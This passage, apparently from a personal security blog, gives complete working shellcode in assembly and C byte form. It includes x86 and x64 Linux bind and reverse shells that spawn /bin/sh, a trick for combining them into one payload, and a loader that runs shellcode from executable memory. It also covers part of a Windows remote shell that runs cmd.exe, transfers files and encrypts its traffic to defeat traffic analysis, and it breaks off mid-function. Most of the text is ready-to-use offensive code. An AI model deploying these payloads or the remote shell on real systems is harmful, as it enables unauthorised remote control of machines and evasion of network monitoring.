    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    41
    pop     rax              ; rax=sys_socket
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET        
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    
    ; step 2, bind to port 1234 
    ; bind(sockfd, {AF_INET,1234,INADDR_ANY}, 16)
    push    rdx
    push    word 0xd204
    push    word ax
    push    rsp
    pop     rsi
    mov     dl, 16
    mov     al, 49
    syscall
    
    ; step 3, listen
    ; listen(sockfd, 0);
    push    rax
    pop     rsi
    mov     al, 50
    syscall
    
    ; step 4, accept connections
    ; accept(sockfd, 0, 0);
    mov     al, 43
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    push    3
    pop     rsi
    
    ; step 5, assign socket handle to stdin,stdout,stderr
    ; dup2(sockfd, fileno);
dup_loop64:
    dec     esi
    mov     al, 33           ; rax=sys_dup2
    syscall
    jnz     dup_loop64       ; jump if not signed   
    
    ; step 6, execute /bin/sh
    ; execve("/bin//sh", 0, 0);
    cdq                      ; rdx=0
    push    rdx              ; zero terminator
    mov     rcx, 0x68732f2f6e69622f ; "/bin//sh"
    push    rcx
    push    rsp
    pop     rdi
    mov     al, 59           ; rax=sys_execve
    syscall

Reverse Shell

; 64 byte reverse shell for linux/x64
; odzhan

    bits 64
    
start64:
    ; step 1, create a socket
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    push    41
    pop     rax              ; rax=sys_socket
    cdq                      ; rdx=IPPROTO_IP
    push    1
    pop     rsi              ; rsi=SOCK_STREAM
    push    2
    pop     rdi              ; rdi=AF_INET
    syscall
    
    xchg    eax, edi         ; edi=sockfd
    xchg    eax, esi         ; esi=2
    
    ; step 2, assign socket handle to stdin,stdout,stderr
    ; dup2(sockfd, fileno);
dup_loop64:
    mov     al, 33           ; rax=sys_dup2
    syscall
    dec     esi
    jns     dup_loop64       ; jump if not signed
    
    ; step 3, connect to remote host
    ; connect (sockfd, {AF_INET,1234,127.0.0.1}, 16);
    mov     rcx, ~0x100007fd2040002
    not     ecx
    push    rcx
    push    rsp
    pop     rsi
    mov     dl, 16           ; rdx=sizeof(sa)
    mov     al, 42           ; rax=sys_connect
    syscall    
    
    ; step 4, execute /bin/sh
    ; execv("/bin//sh", 0, 0);
    cdq                      ; rdx=0
    push    rdx
    pop     rsi              ; rsi=0
    push    rdx              ; zero terminator
    mov     rcx, 0x68732f2f6e69622f ; "/bin//sh"
    push    rcx
    push    rsp
    pop     rdi
    mov     al, 59           ; rax=sys_execve
    syscall

Combining x86 and x64

If you wanted to combine 2, you can exploit REX prefixes. Peter Ferrie uses the following in his win-exec-calc-shellcode.

If the code is running in x86 mode, the CPU will execute this.

/* 0000 */ "x31xc0"             /* xor eax, eax            */
/* 0002 */ "x40"                 /* inc eax                 */
/* 0003 */ "x74x45"             /* jz 0x4a                 */

But in x64 mode, will see this:

/* 0000 */ "x31xc0"             /* xor eax, eax            */
/* 0002 */ "x40x74x45"         /* jz 0x4a                 */

So combining the 2 reverse shells for example, you can use the following:

bits 32
    
    xor    eax, eax
    inc    eax
    jz     x64
    
%include "rs32.asm"
    
    push   1                 ; sys_exit
    pop    eax
    int    0x80
x64:

%include "rs64.asm"

Sources

Have a look in this directory here. They will assemble with YASM or NASM. rs.asm and bs.asm combine x86 and x64 shellcodes.

Posted in assembly, linux, programming, shellcode | Tagged , , | Leave a comment

Shellcodes: Executing Windows and Linux Shellcodes

Introduction

Recently, I finished an interactive shell for windows written in C which is also position independent.

The server component runs on UNIX based OS and I was trying to test out delivery of the PIC to windows machine over network which resulted in writing a simple tool for both Linux/windows that executes PIC files.

The general idea is to allocate virtual memory with executable/write/read permissions, copy some PIC there and run it. On Windows, we use VirtualAlloc() API and on Linux we use mmap(). The following function is from runsc tool.

void xcode(args_t *p)
{
  void *bin;
#ifdef WIN
  bin=VirtualAlloc (0, p->code_len, 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
#else
  bin=mmap (0, p->code_len, 
    PROT_EXEC | PROT_WRITE | PROT_READ, 
    MAP_ANON  | MAP_PRIVATE, -1, 0);
#endif
  if (bin!=NULL)
  {
    memcpy (bin, p->code, p->code_len);
    //DebugBreak();
    ((void(*)())bin)();
#ifdef WIN
    VirtualFree (bin, p->code_len, MEM_RELEASE);
#else
    munmap (bin, p->code_len);
#endif
  }
}

usage

Downloading PIC from windows to debian linux.

linux_exec_code

linux_exec_win

linux shellcodes used

As anyone with experience writing shellcode for windows will tell you, writing Linux shellcodes is much easier.

In x86, parameters for Linux system call are EAX for the syscall_number, then EBX, ECX, EDX, ESI, EDI, EBP used for passing parameters. For the reverse/bind shells, only EAX, EBX and ECX are used because most of the work is accomplished using sys_socketcall

The return value is in EAX. All other registers (including EFLAGS) are preserved across the int 0x80 which makes life easier for writing PIC.

While testing out codes, I came across a couple written by Geyslan G. Bem which I think are worth a mention here, specifically because of just one instruction that surprised me and it’s one of the reasons I love assembly code so much. (when it works)

Normally when I want EDX zero’d in the least amount of code, If EAX is or expected to be less than 0x80000000, I use CDQ to zero EDX. Like the following.

//
  /* 0000 */ "x6ax66"             /* push 0x66          */
  /* 0002 */ "x58"                 /* pop eax            */
  /* 0003 */ "x99"                 /* cdq                */
  /* 0004 */ "x6ax01"             /* push 0x1           */
  /* 0006 */ "x5b"                 /* pop ebx            */

The code used by Geyslan which surprised me uses a MUL instruction with EBX set to zero. It doesn’t have to be EBX, it can be any register set to zero but because EBX is used to pass parameter to system call, it’s zero’d first.

//
  /* 0000 */ "x31xdb"             /* xor ebx, ebx       */
  /* 0002 */ "xf7xe3"             /* mul ebx            */
  /* 0004 */ "xb0x66"             /* mov al, 0x66       */
  /* 0006 */ "x43"                 /* inc ebx            */

Which is better? In the case of linux shellcode, it’d be just a personal preference I suppose. Both are same size and accomplish the same thing. Although, I still think using MUL to clear EAX:EDX is good to remember.

The following are just disassemblies of code by Geyslan commented by me for anyone interested in how they work. I fixed a bug with the reverse shell where ebx=sockfd instead of ebx=3 for sys_connect…

I was just curious about how they worked and documented for myself. Maybe someone else will find them useful too.

UPDATE: I’ve been informed the code presented here can be found as far back as 2003 by another author. After I did some more searching, it seems quite a bit of linux shellcode out there for x86 is derived from code by the old security group LSD (who released asmcodes paper in 2001) and various other exploit developers at the time including CORE security.

Reverse Connecting Shell

; ***********************************
; 69 byte reverse shell for x86/Linux
; Written by Geyslan G. Bem
;
; @odzhancode (i made minor change)
;
; yasm -fbin rs.asm -ors.bin
; nasm -fbin rs.asm -ors.bin
;
; ***********************************

    bits 32
start:
    ; step 1, create a socket
    xor    ebx, ebx          ; ebx=0
    mul    ebx               ; eax=0, edx=0 (nicely done🙂
    mov    al, 0x66          ; eax      = sys_socketcall
    inc    ebx               ; ebx      = sys_socket
    push   edx               ; protocol = IPPROTO_IP
    push   ebx               ; type     = SOCK_STREAM
    push   2                 ; family   = AF_INET
    mov    ecx, esp          ; ecx      = &args
    int    0x80
    
    xchg   eax, ebx          ; ebx      = sockfd
    
    ; step 2, assign socket to stdin, stdout, stderr
    pop    ecx               ; ecx=2
    push   0x100007f         ; sa.sin_addr = inet_addr("127.0.0.1")
    push   word 0xD204       ; sa.port     = htons(1234)
    push   word cx           ; sa.family   = AF_INET
dup_loop:
    mov    al, 0x3f          ; eax=sys_dup2
    int    0x80 
    dec    ecx
    jns    dup_loop          ; jump if not signed
    
    mov    ecx, esp          ; ecx=&sa
    mov    al, 0x66          ; eax=sys_socketcall
    
    ; step 3, connect to remote host
    push   0x10              ; sizeof(sa)
    push   ecx               ; &sa
    push   ebx               ; sockfd
    mov    ecx, esp          ; &args
    push   3
    pop    ebx               ; ebx=sys_connect
    int    0x80
    
    ; step 4, execute /bin/sh
    mov    al, 0xb           ; eax=sys_execve
    push   edx               ; ''
    push   0x68732f2f	       ; "hs//"
    push   0x6e69622f	       ; "nib/"
    mov    ebx, esp          ; ebx="/bin//sh", 0
    xor    ecx, ecx          ; ecx=0 argv=0
    int    0x80              ; exec sys_execve

Bind Shell

; ***********************************
; 73 byte bind shell for x86/Linux
; Written by Geyslan G. Bem
;
; yasm -fbin bs.asm -obs.bin
; nasm -fbin bs.asm -obs.bin
;
; ***********************************
    bits 32
    
start:    
    xor    ebx, ebx          ; ebx=0
    mul    ebx               ; eax=0, edx=0
    ; step 1, create a socket
    mov    al, 0x66          ; eax=sys_socketcall
    inc    ebx               ; 
    push   edx               ; args.protocol = IPPROTO_IP
    push   ebx               ; args.type     = SOCK_STREAM
    push   2                 ; args.family   = AF_INET
    mov    ecx, esp          ; ecx=&args
    int    0x80
    
    ; step 2, bind to port 1234
    pop    ebx               ; ebx=2, sys_bind
    pop    esi               ; esi=1
    push   edx               ; sa.sin_addr = INADDR_ANY
    push   word 0xD204       ; sa.sin_port = htons(1234)
    push   0x10              ; sizeof(sa)
    push   ecx               ; &sa
    push   eax               ; sockfd
    mov    al, 0x66          ; eax=sys_socketcall
    mov    ecx, esp          ; ecx=&args
    int    0x80
    
    mov    [ecx+4], edx      ; clear sa from args
    
    ; step 3, listen for incoming connections
    mov    al, 0x66          ; eax=sys_socketcall
    mov    bl, 4             ; ebx=sys_listen
    int    0x80
    
    ; step 4, accept connections
    mov    al, 0x66          ; eax=sys_socketcall
    inc    ebx               ; ebx=sys_accept
    int    0x80
    
    ; step 5, assign socket to stdin, stdout and stderr
    pop    ecx               ; ecx=sockfd
    xchg   ebx, eax          ; ebx=sockfd
dup_loop:
    push   0x3f
    pop    eax               ; eax=sys_dup2
    int    0x80
    dec    ecx
    jns    dup_loop
    
    ; step 6, execute /bin//sh
    mov    al, 0xb           ; eax=sys_execve
    push   0x68732f2f	       ; "hs//"
    push   0x6e69622f	       ; "nib/"
    mov    ebx, esp          ; ebx="/bin//sh", 0
    inc    ecx               ; ecx=0 argv=0
    int    0x80              ; exec sys_execve

If wanted a neat formatted C string with the code to further manipulate, see bin2sc for something like this.

#define bs_SIZE 73

char bs[]= {
  /* 0000 */ "x31xdb"             /* xor ebx, ebx       */
  /* 0002 */ "xf7xe3"             /* mul ebx            */
  /* 0004 */ "xb0x66"             /* mov al, 0x66       */
  /* 0006 */ "x43"                 /* inc ebx            */
  /* 0007 */ "x52"                 /* push edx           */
  /* 0008 */ "x53"                 /* push ebx           */
  /* 0009 */ "x6ax02"             /* push 0x2           */
  /* 000B */ "x89xe1"             /* mov ecx, esp       */
  /* 000D */ "xcdx80"             /* int 0x80           */
  /* 000F */ "x5b"                 /* pop ebx            */
  /* 0010 */ "x5e"                 /* pop esi            */
  /* 0011 */ "x52"                 /* push edx           */
  /* 0012 */ "x66x68x04xd2"     /* push 0xd204        */
  /* 0016 */ "x6ax10"             /* push 0x10          */
  /* 0018 */ "x51"                 /* push ecx           */
  /* 0019 */ "x50"                 /* push eax           */
  /* 001A */ "xb0x66"             /* mov al, 0x66       */
  /* 001C */ "x89xe1"             /* mov ecx, esp       */
  /* 001E */ "xcdx80"             /* int 0x80           */
  /* 0020 */ "x89x51x04"         /* mov [ecx+0x4], edx */
  /* 0023 */ "xb0x66"             /* mov al, 0x66       */
  /* 0025 */ "xb3x04"             /* mov bl, 0x4        */
  /* 0027 */ "xcdx80"             /* int 0x80           */
  /* 0029 */ "xb0x66"             /* mov al, 0x66       */
  /* 002B */ "x43"                 /* inc ebx            */
  /* 002C */ "xcdx80"             /* int 0x80           */
  /* 002E */ "x59"                 /* pop ecx            */
  /* 002F */ "x93"                 /* xchg ebx, eax      */
  /* 0030 */ "x6ax3f"             /* push 0x3f          */
  /* 0032 */ "x58"                 /* pop eax            */
  /* 0033 */ "xcdx80"             /* int 0x80           */
  /* 0035 */ "x49"                 /* dec ecx            */
  /* 0036 */ "x79xf8"             /* jns 0x30           */
  /* 0038 */ "xb0x0b"             /* mov al, 0xb        */
  /* 003A */ "x68x2fx2fx73x68" /* push 0x68732f2f    */
  /* 003F */ "x68x2fx62x69x6e" /* push 0x6e69622f    */
  /* 0044 */ "x89xe3"             /* mov ebx, esp       */
  /* 0046 */ "x41"                 /* inc ecx            */
  /* 0047 */ "xcdx80"             /* int 0x80           */
};

The tool for running shellcodes can be foundhere
For anyone further interested in code by Geyslan, see codes here although some of them may have bugs in em.

Posted in assembly, linux, shellcode, windows | Tagged , , , , , | 2 Comments

Windows: Interactive shells Part 4

Introduction

Just to summarize what we’ve looked at so far in parts 1-3

  1. Create a simple shell where a socket is assigned to stdin, stdout and stderr of cmd.exe.
  2. Use synchronization to handle unexpected closure of socket or termination of cmd.exe.
  3. Implement a simple packet protocol to enable file transfers.

Now we look at improving shell from part 3 to include an encryption layer which should make traffic analysis more difficult.

The Microsoft Crypto API is available to all versions of windows since Windows NT4 and although I may not use it for any future parts to this series, that’s what we use here.

I should say at this point, anyone who wants a secure method of interacting with windows really should use a proven, robust protocol like SSH. I’m not attempting to provide an alternative solution here, just exploring how it might be done without SSH and nothing more.

Traffic Analysis

The first 3 shell examples use absolutely no encryption or even basic obfuscation of traffic sent between 2 systems which makes them vulnerable to traffic analysis.

Someone on the same network with packet capture tools will be able see everything. Just to demonstrate, here’s a snapshot of wireshark capturing traffic between two instances of the shell shown in part 1.

s1_wireshark

It’s no problem to see what’s being sent and received on each end of the connection.

In 1995, Tatu Ylönen, a researcher at Helsinki University of Technology, Finland invented the SSH protocol as a response to password sniffing attacks at his university.

You might be asking yourself, why not use SSH or SSL libraries for a shell like this?
Most versions of Windows don’t have any simple API to support these protocols and my goal was to try minimize dependencies on external/third party libraries.

The closest thing to supporting either of these protocols on windows would be SChannel which we will look at in future.

Public Key Exchange

One of the fundamental problems with early encryption was how to securely share symmetric encryption keys. Public Key encryption was invented for that reason and I discuss the history of it very briefly in an earlier post about Modular Exponentiation.

Initially, I had chosen Diffie-Hellman-Merkle key exchange but it was much slower than RSA. RSA is more efficient because the public exponent used has fewer bits than would a random private key generated for DHM. RSA key exchange only requires one modular exponentiation from the client side whereas DHM requires 2.

It’s outside the scope of my knowledge which method is more secure.

Symmetric Key Encryption

AES-256 is used in CTR mode which acts like a stream cipher. Messages are padded to be a multiple of 16 bytes. This prevents revealing the underlying length of plaintext.

AES-256 was not supported by Crypto API until the release of SP2 for XP.

Data Integrity

Most secure protocols use a MAC (Message Authentication Code) or Digital Signature to ensure integrity of the encrypted data or plaintext being transmitted.

This shell uses HMAC-SHA256 for the MAC and is derived from the encrypted data. Like AES-256, SHA256 was only made available in Crypto API since XP SP2, so this shell won’t work on windows OS prior to this release without changing the source.

Initialization

Both server and client acquire a crypto provider that supports our encryption algorithms but only the server needs to generate an RSA key pair. The default length of key is 2048-bits.

// initialize context
// as server, generate key pair
int spp_init (spp_ctx *c, int mode)
{
  BOOL r=FALSE;

  c->hProv    = 0;
  c->hPublic  = 0;
  c->hPrivate = 0;
  c->hSession = 0;
  c->secure   = 0;
  c->enc_id   = CALG_AES_256;
  c->key_len  = 2048;         // RSA key length
  c->mode     = mode;         // SPP_SERVER or SPP_CLIENT
  c->mac_len  = 0;
  
  r=CryptAcquireContext (&c->hProv, NULL, NULL, PROV_RSA_AES, 
      CRYPT_VERIFYCONTEXT | CRYPT_SILENT);
      
  // server or client mode?
  if (r && c->mode==SPP_SERVER) 
  {
    // generate RSA key pair
    r=CryptGenKey (c->hProv, CALG_RSA_KEYX, 
      c->key_len << 16 | CRYPT_EXPORTABLE, &c->hPrivate);
  }
  return r;
}

Generating an IV (Initialization Vector)

I wanted to ensure the IV was securely shared between client and server. Encryption in CTR mode requires an IV so we have some options, although this isn’t a comprehensive list by any means.

  1. Encrypt 16 null bytes or some predefined values using the session key and XOR the result against 16 bytes generated by CryptGenRandom
  2. Generate a new key with CryptGenKey and send to server.

I’d be happy to hear more suggestions but I chose option 2 as I didn’t want to call spp_crypt function before an IV had been shared.

A random key is generated with CryptGenKey()
This is exported as a SIMPLEBLOB using the public key sent from server. Since it’s now encrypted, only the server should be able to decrypt it.

Both client and server export the key as a PLAINTEXTBLOB which allows us to access the raw key and use this for encryption using CryptEncrypt API.

typedef struct _pt_blob_t {
  BLOBHEADER hdr;
  DWORD      dwKeySize;
  BYTE       rgbKeyData[32];
} pt_blob, *ppt_blob;

// as a server, import iv, export as plaintextblob
// as a client, generate iv, export as plaintextblob
int spp_setiv (spp_ctx *c, spp_blk *iv)
{
  HCRYPTKEY hKey;
  BOOL      r;
  BYTE      buf[128];
  ppt_blob  pb;
  
  memset (buf, 0, 128);
  
  pb=(ppt_blob)buf;
  
  if (c->mode==SPP_SERVER)
  {
    // import encrypted iv
    r=CryptImportKey (c->hProv, iv->buf, iv->len, 
      c->hPrivate, CRYPT_EXPORTABLE, &hKey);
  } else {
    // generate new key
    r=spp_genkey (c, &hKey, iv);
  }
  // if key generated/imported
  if (r) {
    // export as PLAINTEXTKEYBLOB
    c->iv_len=sizeof(buf);
    r=CryptExportKey (hKey, 0, PLAINTEXTKEYBLOB, 
      0, buf, &c->iv_len);
    if (r) {
      // copy 32-bytes to iv buffer
      memcpy (c->iv, pb->rgbKeyData, 256/8);
    } 
    // destroy key object
    CryptDestroyKey (hKey);
  }
  return r;
}

The exchange

Asymmetric or public key exchange was invented to facilitate sharing of symmetric keys and s4 uses RSA.

RSA key exchange is much faster than Diffie-Hellman-Merkle.

The main function to exchange TEK (Traffic Encryption Keys) is performed in a function called spp_handshake. The following are steps involved.

  • As a server connected to client
  1. Generate RSA key pair
  2. Export public key
  3. Send public key to client
  4. Wait for session key
  5. Import session key
  6. Wait for IV key
  7. Import IV key
  • As a client connected to server
  1. Wait for public key from server
  2. Import public key
  3. Generate a session key
  4. Send session key to server
  5. Generate an IV from key
  6. Send IV to server
// perform key exchange with spp server or client
// depends on mode in context
int spp_handshake (spp_ctx *c)
{
  int r=0;
  spp_blk pubkey, seskey, iv;
  
  if (c->mode==SPP_SERVER)
  {
    // get the public key
    printf ("[ getting public keyn");
    if (spp_getkey(c, &pubkey))
    {
      // send it to client
      printf ("[ sending public keyn");
      if (spp_send(c, &pubkey)==SPP_ERR_OK)
      {
        // wait for session key
        printf ("[ receiving session keyn");
        if (spp_recv(c, &seskey)==SPP_ERR_OK)
        {
          // import it
          printf ("[ importing session keyn");
          if (spp_setkey(c, &seskey))
          {
            // wait for IV
            printf ("[ receiving IVn");
            if (spp_recv(c, &iv)==SPP_ERR_OK)
            {
              // import, then export to c->iv
              printf ("[ setting IVn");
              r=spp_setiv(c, &iv);
            }
          }
        }
      }
    }
  } else {
    // wait for public key
    printf ("[ waiting for public keyn");
    if (spp_recv(c, &pubkey)==SPP_ERR_OK)
    {
      // import it
      printf ("[ importing public keyn");
      if (spp_setkey(c, &pubkey))
      {
        // generate session key
        printf ("[ generating session keyn");
        if (spp_getkey(c, &seskey))
        {
          // send session key
          printf ("[ sending session keyn");
          if (spp_send(c, &seskey)==SPP_ERR_OK)
          {
            // get random iv
            printf ("[ generating IVn");
            if (spp_setiv(c, &iv))
            {
              // send iv
              printf ("[ sending IVn");
              r=(spp_send(c, &iv)==SPP_ERR_OK);
            }
          }
        }
      }
    }
  }
  // if no error, set secure flag
  if (r) { 
    c->secure=1; 
  }
  return r;
}

Encryption

Once we’ve established a session key and initialization vector, CTR mode is used to encrypt and decrypt traffic between each system.

CTR mode turns a block cipher into a stream cipher and is much more ideal for a shell like this where small chunks of data are being transmitted.

Although it isn’t supported by Microsoft Crypto API which I’ve discussed here, we only have to encrypt the IV using ECB mode and XOR the plaintext with the ciphertext result.

// xor dst blk by src
uint32_t memxor (uint8_t *pt, uint8_t *ct, uint32_t len)
{
  uint32_t i;
  
  len=(len>16) ? 16:len;
  
  for (i=0; i<len; i++) {
    pt[i] ^= ct[i];
  }
  return len;
}

void update_iv (uint8_t *iv)
{
  int i;
  
  for (i=16-1; i>=0; i--) {
    iv[i]++;
    if (iv[i]) {
      break;
    }
  }
}

// encrypt or decrypt in CTR mode
int spp_crypt (spp_ctx *c, void *in, uint32_t len)
{
  DWORD r, iv_len, inlen=len;
  PBYTE p=(PBYTE)in;
  BYTE  iv[SPP_IV_LEN];
  
  while (inlen > 0)
  {
    // copy iv into temp space
    memcpy (iv, c->iv, SPP_IV_LEN);
    iv_len=SPP_IV_LEN;
    
    // encrypt with AES-256 in ECB mode
    r=CryptEncrypt (c->hSession, 0, FALSE, 
      0, iv, &iv_len, SPP_IV_LEN);
      
    // xor against plaintext
    r=memxor (p, iv, inlen);
    
    // update iv
    update_iv(c->iv);
    
    // advance plaintext position
    p += r;
    // decrease length of input
    inlen -= r;
  }
  return r;
}

Message Authentication Code

The session key is used to generate MAC of encrypted data. I considered using a separate key but believe this is sufficient. Comments?

// generate mac of data and save in mac
int spp_mac (spp_ctx *c, void *in, uint32_t inlen, void *mac)
{
  BOOL       r=FALSE;
  HMAC_INFO  hinfo;
  HCRYPTHASH hMAC;
  DWORD      macLen;
  
  // create HMAC using the session key
  r=CryptCreateHash (c->hProv, CALG_HMAC, c->hSession, 0, &hMAC);
  if (r) {
    // use HMAC-SHA-256
    ZeroMemory (&hinfo, sizeof(hinfo));
    hinfo.HashAlgid = CALG_SHA_256;
  
    r=CryptSetHashParam (hMAC, HP_HMAC_INFO, (PBYTE)&hinfo, 0);
    if (r) {
      // hash input
      r=CryptHashData(hMAC, in, inlen, 0);
      // get the hash
      if (r) {
        macLen=256/8;
        r=CryptGetHashParam(hMAC, HP_HASHVAL, mac, &macLen, 0);
      }
    }
    CryptDestroyHash (hMAC);
  }
  return r;
}

Traffic Analysis of encrypted data

Now that we’ve a method of key exchange and encryption which should prevent most people from viewing traffic sent between two systems. Let’s see what wireshark gives us.

Here’s the client making outbound connection to server before executing cmd.exe

s4_client

Server accepting connection from client.

s4_server

And what wireshark shows after key exchange as a hex dump for ‘whoami’ and ‘dir’ commands.

s4_wireshark2

Summary

Where do we go from here? One last thing to implement is a server for Linux but since Crypto API has many opaque structures, it might not be the best solution for something like this.

At some point in the future, I’ll implement a server for Linux but the client component is unlikely to use Crypto API.

Sources

Although I’ve tried to minimize bugs in this shell, it hasn’t been tested extensively and in its current state probably is unstable🙂

I’ve no problem releasing sources under a BSD license with the understanding anyone using it doesn’t expect this application to be free of potential bugs/flaws so use with caution.

Sources and binary can be downloaded from here.

Posted in cryptography, networking, programming, security, windows | Tagged , , , , , , , , | Leave a comment

Windows: Interactive shells Part 3

Introduction

Here we’ll see how to transfer files between 2 systems over TCP. The main difference between the shell in part 2 and here is that we now require a simple packet protocol simply called SPP.

The server side requires handling and formatting user input specific to this simple protocol. Likewise, the client needs to handle commands through a dispatcher.

Usage examples

The following snapshot is interactive session with remote client.

server_mode

From here on now, the client will only make outgoing connections whereas in first 2, they permitted incoming and outgoing connections. This also no longer works with ncat, netcat or similar utility.

Simple packet protocol

In order for us to transfer files between 2 systems, we require a custom protocol which indicates the amount of data incoming or outgoing. The following 2 structures are used. 1 for commands, the other for raw data and error codes.

// spp command structure
typedef struct _spp_cmd_t {
  uint32_t opt;
  uint8_t  buf[SPP_DATA_LEN];
} spp_cmd;

// packet protocol block
typedef struct _spp_blk_t {
  DWORD len;                  // total length of packet
  union {
    spp_cmd cmd;
    DWORD   err;                // holds GetLastError()
    BYTE    buf[SPP_DATA_LEN+64];
  };
} spp_blk;

TCP Fragmentation

Because incoming and outgoing streams can vary in size from time to time, there are situations where recv and send will not always send or receive the requested amount of data in one call. It is usually more of a problem for receiving data because the buffer allocated by the kernel is smaller. We need to anticipate fragmented packets otherwise our protocol would fail in some circumstances.

Receiving fragmented packets.

// receive block of data, fragmented if required
int recv_pkt (int s, void *out, uint32_t outlen) 
{
  int      len;
  uint32_t sum;
  uint8_t  *p=(uint8_t*)out;
  
  for (sum=0; sum<outlen; sum += len) {
    len=recv (s, &p[sum], outlen - sum, 0);
    if (len<=0) return -1;
  }
  return sum;
}

// receive packet
int spp_recv (spp_ctx *c, spp_blk *out)
{
  int     len;
  
  ZeroMemory (out, sizeof(spp_blk));
  
  // receive the length
  len=recv_pkt (c->s, &out->len, sizeof(DWORD));

  // error?
  if (len<=0) {
    return SPP_ERR_SCK;
  }
  
  // zero is okay
  if (out->len==0) {
    return SPP_ERR_OK;
  }

  if (out->len>SPP_DATA_LEN) {
    return SPP_ERR_LEN;
  }
  // receive the data
  len=recv_pkt (c->s, &out->buf, out->len);

  return (len<=0) ? SPP_ERR_SCK : SPP_ERR_OK;
}

Sending fragmented packets

// send packet
int spp_send (spp_ctx *c, spp_blk *in)
{
  int      len;
  uint32_t sum;
  uint32_t inlen=in->len + sizeof(DWORD); // len+buf
  uint8_t  *p=(uint8_t*)&in->len;
  
  for (sum=0; sum<inlen; sum += len) {
    len=send(c->s, &p[sum], inlen - sum, 0);
    if (len<=0) return -1;
  }
  return SPP_ERR_OK;
}

Client mode

Running as a client, we wait for commands sent by a user and execute accordingly. A dispatch routine is required for this.

int dispatch (spp_ctx *c)
/**
 * PURPOSE : receives commands from remote server
 *
 * RETURN :  1 to terminate else 0
 *
 * NOTES :   
 *
 *F*/
{
  DWORD   e, terminate=0, end=0;
  spp_blk in;
  DWORD   sck_evt;
  HANDLE  evt[MAXIMUM_WAIT_OBJECTS];
  DWORD   evt_cnt=0;
  
  evt[sck_evt = evt_cnt++] = WSACreateEvent();
  
  do {
    // wait for event
    e=wait_evt(evt, evt_cnt, sck_evt, c->s);
    
    // failure? exit
    if (e == -1) {
      printf ("[ wait_evt() failure : returned %08Xn", e);
      return 0;
    }
    // receive packet
    if (spp_recv(c, &in) != SPP_ERR_OK) {
      break;
    }
    // inspect packet
    switch (in.cmd.opt)
    {
      // terminate client
      case SPP_CMD_TERM : {
        DEBUG_PRINT("received command to terminate");
        terminate=1;
        break;
      }
      // close the connection
      case SPP_CMD_CLOSE : {
        DEBUG_PRINT("received command to close connection");
        end=1;
        break;
      }
      // execute cmd.exe for remote server
      case SPP_CMD_SHELL : {
        DEBUG_PRINT("received command to execute cmd.exe");
        cmd(c);
        break;
      }
      // send a file to remote server
      // buf should contain the name of file to open
      case SPP_CMD_GET : {
        DEBUG_PRINT("received command to send file");
        c_get(c, in.cmd.buf);
        break;
      }
      // receive a file from remote server
      // buf should contain the name of file to create
      case SPP_CMD_PUT : {
        DEBUG_PRINT("received command to receive file");
        c_put(c, in.cmd.buf);
        break;
      }
      default:
        DEBUG_PRINT("unknown command received %08X", in.cmd.opt);
        break;
    }
    // continue until close or terminate
  } while (!end && !terminate);
  return terminate;
}

Server mode

While running in server mode, we only handle user input and send to the client for processing.

DWORD session (spp_ctx *c)
/**
 * PURPOSE : Sends commands to remote client
 *
 * RETURN :  Nothing
 *
 * NOTES :   None
 *
 *F*/
{
  HANDLE  hThread, stdoutput;
  DWORD   e, wn, i, cmd_mode=0, terminate=0, end=0;
  spp_blk in, out;
  HANDLE  evt[MAXIMUM_WAIT_OBJECTS];
  DWORD   stdin_evt=0, sck_evt=0, evt_cnt=0;
  
  // create 2 events for reading input
  // this is necessary because STD_INPUT_HANDLE also
  // signals for events other than keyboard input
  // and consequently blocks when ReadFile() is called.
  // the solution is to create separate thread.
  // UNIX-variant OS don't suffer from this issue.
  input.evt    = CreateEvent (NULL, FALSE, FALSE, NULL);
  input.evtbck = CreateEvent (NULL, FALSE, FALSE, NULL);
  
  // event for input
  evt[stdin_evt = evt_cnt++] = input.evt;
  // event for socket
  evt[sck_evt   = evt_cnt++] = WSACreateEvent();
  // obtain handle to stdout
  stdoutput=GetStdHandle (STD_OUTPUT_HANDLE);
  
  // create thread for reading input
  hThread=CreateThread (NULL, 0, stdin_thread, NULL, 0, NULL);
            
  // keep going until disconnection of client/user exits
  printf ("[ readyn");
  
  do {
    if (!cmd_mode) printf (">");
    DEBUG_PRINT("waiting for events");
    // wait for events
    e=wait_evt(evt, evt_cnt, sck_evt, c->s);
    
    // failure? break
    if (e==-1) {
      printf ("[ wait_evt() failure : returned %08Xn", e);
      break;
    }
    
    // read from socket?
    if (e==sck_evt) 
    {
      DEBUG_PRINT("reading from socket");
      // receive packet, break on error
      if (spp_recv (c, &in) != SPP_ERR_OK) {
        DEBUG_PRINT("[ spp_recv() errorn");
        break;
      }
      // if we're interactive with remote cmd.exe and in.len is zero
      // cmd.exe has ended so set cmd_mode to zero and continue
      if (cmd_mode==1 && in.len==0) {
        DEBUG_PRINT("cmd.exe terminated");
        cmd_mode=0;
        continue;
      } else if (cmd_mode==1) {
        // else we're still interactive, write to console
        WriteConsole (stdoutput, in.buf, in.len, &wn, 0);
      } else {
        // this might happen for file transfers
        // but since we're no longer in s_put or s_get
        // this shouldn't happen so break
        printf ("[ error : received %i bytes", in.len);
        break;
      }
    } else 
    
    // user input?
    if (e==stdin_evt) 
    {
      // if we're not in cmd_mode, try parse command
      if (!cmd_mode) 
      {
        // command is 4 bytes
        in.len=sizeof(DWORD);
        in.cmd.opt=-1;
        // loop through available commands
        for (i=0; i<sizeof (cmds) / sizeof (spp_opt); i++) {
          if (StrCmpN (input.buf, cmds[i].s, strlen (cmds[i].s)) == 0) {
            in.cmd.opt=cmds[i].cmd;
            break;
          }
        }
        // do we have valid command?
        switch (in.cmd.opt) 
        {
          case SPP_CMD_HELP: {
            printf ("n  valid commandsn");
            printf ("n  close                - close connection");
            printf ("n  term                 - terminate remote client");
            printf ("n  cmd                  - execute cmd.exe");
            printf ("n  put <local> <remote> - upload file");
            printf ("n  get <remote> <local> - download filen");
            break;
          }
          // terminate client?
          case SPP_CMD_TERM:
            terminate=1;
            spp_send(c, &in);
            break;
          // execute cmd.exe?
          case SPP_CMD_SHELL: {
            cmd_mode=1;
            spp_send(c, &in);
            break;
          }
          // close the connection?
          case SPP_CMD_CLOSE: {
            end=1;
            spp_send(c, &in);
            break;
          }
          // upload a file?
          case SPP_CMD_PUT: {
